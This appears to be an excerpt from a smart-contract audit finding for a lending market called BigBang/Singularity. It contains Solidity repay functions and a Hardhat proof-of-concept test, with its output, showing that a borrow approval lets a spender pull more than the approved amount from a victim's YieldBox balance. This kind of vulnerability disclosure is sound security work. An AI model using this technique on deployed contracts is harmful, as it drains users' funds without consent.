    /// @notice Approves `amount` from sender to be spend by `spender`.
    /// @param spender Address of the party that can draw from msg.sender's account.
    /// @param amount The maximum collective amount that `spender` can draw.
    /// @return (bool) Returns True if approved.
    function approve( 
        address spender,
        uint256 amount
    ) public override returns (bool) {
        it('should not allow repay more PoCRepayMoreThanAllowed', async () => {
            
            ////////
            // setup steps are omitted
            // the full proof of concept is
            // https://gist.github.com/zzzitron/8dd809c0ea39dc0ea727534c3ba804f9
            ////////

            // eoa1 allows deployer (it should be `approve`, if the modifier in the repay is `allowedLend`)
            const allowedPart = ethers.BigNumber.from((1e18).toString());
            await wethBigBangMarket.connect(eoa1).approveBorrow(deployer.address, allowedPart);

            //repay from eoa1
            // check more than the allowed amount is pulled from yieldBox
           
            timeTravel(10 * 86400);

            // repay from eoa1 the allowed amount
            // balance before repay of eoa in the yieldBox for the asset
            const usdoAssetId = await wethBigBangMarket.assetId();
            const eoa1ShareBalanceBefore = await yieldBox.balanceOf(eoa1.address, usdoAssetId);
            const eoa1AmountBefore = await yieldBox.toAmount(usdoAssetId, eoa1ShareBalanceBefore, false);
            await wethBigBangMarket.repay(
                eoa1.address,
                deployer.address,
                false,
                allowedPart,
            );
            const eoa1ShareBalanceAfter = await yieldBox.balanceOf(eoa1.address, usdoAssetId);
            const eoa1AmountAfter = await yieldBox.toAmount(usdoAssetId, eoa1ShareBalanceAfter, false);
            console.log(eoa1AmountBefore.sub(eoa1AmountAfter).toString());
            expect(eoa1AmountBefore.sub(eoa1AmountAfter).gt(allowedPart)).to.be.true;
        });
  BigBang test
    poc
1000136987569097987
       should not allow repay more PoCRepayMoreThanAllowed (11934ms)
    function _repay(
        address from,
        address to,
        uint256 part
    ) internal returns (uint256 amount) {
        (totalBorrow, amount) = totalBorrow.sub(part, true);

        userBorrowPart[to] -= part;

        uint256 toWithdraw = (amount - part); //acrrued
        uint256 toBurn = amount - toWithdraw;
        yieldBox.withdraw(assetId, from, address(this), amount, 0);
// SGLBorrow

    function repay(
        address from,
        address to,
        bool skim,
        uint256 part
    ) public notPaused allowedBorrow(from, part) returns (uint256 amount) {
        updateExchangeRate();
    function _repay(
        address from,
        address to,
        bool skim,
        uint256 part
    ) internal returns (uint256 amount) {
        (totalBorrow, amount) = totalBorrow.sub(part, true);

        userBorrowPart[to] -= part;

        uint256 share = yieldBox.toShare(assetId, amount, true);
        uint128 totalShare = totalAsset.elastic;
        _addTokens(from, to, assetId, share, uint256(totalShare), skim);
        totalAsset.elastic = totalShare + uint128(share);
        emit LogRepay(skim ? address(yieldBox) : from, to, amount, part);
    }
